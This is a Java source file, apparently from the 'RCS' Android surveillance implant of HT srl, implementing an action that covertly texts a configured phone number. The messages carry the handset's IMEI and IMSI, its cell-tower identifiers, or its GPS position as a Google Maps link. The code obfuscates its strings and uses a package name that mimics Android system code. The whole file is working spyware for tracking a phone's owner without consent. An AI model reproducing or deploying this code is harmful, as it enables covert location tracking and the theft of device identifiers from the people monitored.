/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : SmsAction.java
* Created : Apr 9, 2011
* Author : zeno
* *******************************************/
package com.android.dvci.action;
import java.util.Date;
import java.util.Locale;
import android.location.Location;
import android.telephony.SmsManager;
import com.android.dvci.CellInfo;
import com.android.dvci.Device;
import com.android.dvci.Trigger;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfAction;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.crypto.Keys;
import com.android.dvci.module.position.GPSLocationListener;
import com.android.dvci.module.position.GPSLocatorAuto;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
/**
* The Class SmsAction.
*/
public class SmsAction extends SubAction implements GPSLocationListener {
private static final String TAG = "SmsAction"; //$NON-NLS-1$
/** The Constant TYPE_LOCATION. */
private static final int TYPE_LOCATION = 1;
/** The Constant TYPE_SIM. */
private static final int TYPE_SIM = 2;
/** The Constant TYPE_TEXT. */
private static final int TYPE_TEXT = 3;
private final SmsManager sm;
/** The number. */
String number;
/** The text. */
String text;
/** The type. */
int type;
private String descrType;
/**
* Parses the.
*
* @param confParams
* the conf params
* @return true, if successful
*/
@Override
protected boolean parse(final ConfAction params) {
try {
number = StringUtils.unspace(params.getString(M.e("number")));
descrType = params.getString("type", "sim");
if ("position".equals(descrType)) {
type = TYPE_LOCATION;
} else if ("text".equals(descrType)) {
type = TYPE_TEXT;
} else if ("sim".equals(descrType)) {
type = TYPE_SIM;
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (parse) Error, unknown type: " + descrType);
}
return false;
}
switch (type) {
case TYPE_TEXT:
// TODO controllare che la lunghezza non sia superiore a 70
// caratteri
text = params.getString(M.e("text"), M.e("No Text"));
break;
case TYPE_LOCATION:
// http://supportforums.blackberry.com/t5/Java-Development/How-To-Get-Cell-Tower-Info-Cell-ID-LAC-from-CDMA-BB-phones/m-p/34538
break;
case TYPE_SIM:
final StringBuffer sb = new StringBuffer();
final Device device = Device.self();
if (Device.isCdma()) {
// sb.append("SID: " + device.getSid() + "\n");
// sb.append("ESN: "
// + NumberUtilities.toString(device.getEsn(), 16)
// + "\n");
}
if (Device.isGprs()) {
sb.append(M.e("IMEI: ") + device.getImei() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
sb.append(M.e("IMSI: ") + device.getImsi() + "\n"); //$NON-NLS-1$ //$NON-NLS-2$
}
text = sb.toString();
break;
default:
if (Cfg.DEBUG) {
Check.log(TAG + " Error: SmsAction.parse, Unknown type: " + type);//$NON-NLS-1$
}
break;
}
} catch (final ConfigurationException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (parse) Error: " + e);
}
return false;
}
return true;
}
/**
* Instantiates a new sms action.
*
* @param params
* the conf params
*/
public SmsAction(final ConfAction params) {
super(params);
sm = SmsManager.getDefault();
}
/*
* (non-Javadoc)
*
* @see com.ht.AndroidServiceGUI.action.SubAction#execute()
*/
@Override
public boolean execute(Trigger trigger) {
try {
switch (type) {
case TYPE_TEXT:
sendSMS(text);
return true;
case TYPE_SIM:
text = M.e("IMSI: ") + Device.self().getImsi(); //$NON-NLS-1$
sendSMS(text);
return true;
case TYPE_LOCATION:
getGPSPosition();
return true;
}
return true;
} catch (final Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: " + ex.toString());//$NON-NLS-1$
}
return false;
}
}
/**
* Error location.
*/
private void errorLocation() {
if (!getCellPosition()) {
sendSMS(M.e("Cell and GPS info not available")); //$NON-NLS-1$
}
}
/**
* Gets the cell position.
*
* @return the cell position
*/
private boolean getCellPosition() {
final CellInfo c = Device.getCellInfo();
if (c.cdma && c.valid) {
text = M.e("SID: ") + c.sid + M.e(", NID: ") + c.nid + M.e(", BID: ") + c.bid; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
sendSMS(text);
return true;
}
if (c.gsm && c.valid) {
text = M.e("CC: ") + c.mcc + M.e(", MNC: ") + c.mnc + M.e(", LAC: ") + c.lac + M.e(", CID: ") + c.cid; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
sendSMS(text);
return true;
}
return false;
}
/**
* Gets the gPS position.
*/
private void getGPSPosition() {
if(!GPSLocatorAuto.self().start(this)){
getCellPosition();
}
}
/**
* Send sms.
*
* @param text
* the text
*/
private void sendSMS(final String text) {
sm.sendTextMessage(number, null, text, null, null);
if (Cfg.DEBUG) {
Check.log(TAG + " (sendSMS), number: " + number + " text: \"" + text + "\""); //$NON-NLS-1$
}
return;
}
/*
* (non-Javadoc)
*
* @see java.lang.Object#toString()
*/
@Override
public String toString() {
final StringBuffer sb = new StringBuffer();
sb.append(M.e("Sms type: ") + type); //$NON-NLS-1$
sb.append(M.e(" number: ") + number); //$NON-NLS-1$
sb.append(M.e(" text: ") + text); //$NON-NLS-1$
return sb.toString();
}
@Override
public void onLocationChanged(Location location) {
GPSLocatorAuto.self().unregister(this);
if (location == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " location is null");
}
if(!getCellPosition()){
errorLocation();
}
return;
}
final double lat = location.getLatitude();
final double lng = location.getLongitude();
String text = String.format(Locale.US, M.e("lat:%.5f lon:%.5f"), lat,lng);
final Date date = new Date(location.getTime());
if (Cfg.DEBUG) {
Check.log(TAG + " " + date +" " + text);//$NON-NLS-1$ //$NON-NLS-2$
}
String instance = new String(Keys.self().getBuildId());
String textMaps = String.format(Locale.US, M.e("https://maps.google.com/maps?q=%.5f,+%.5f"), lat, lng);
sendSMS(textMaps);
}
}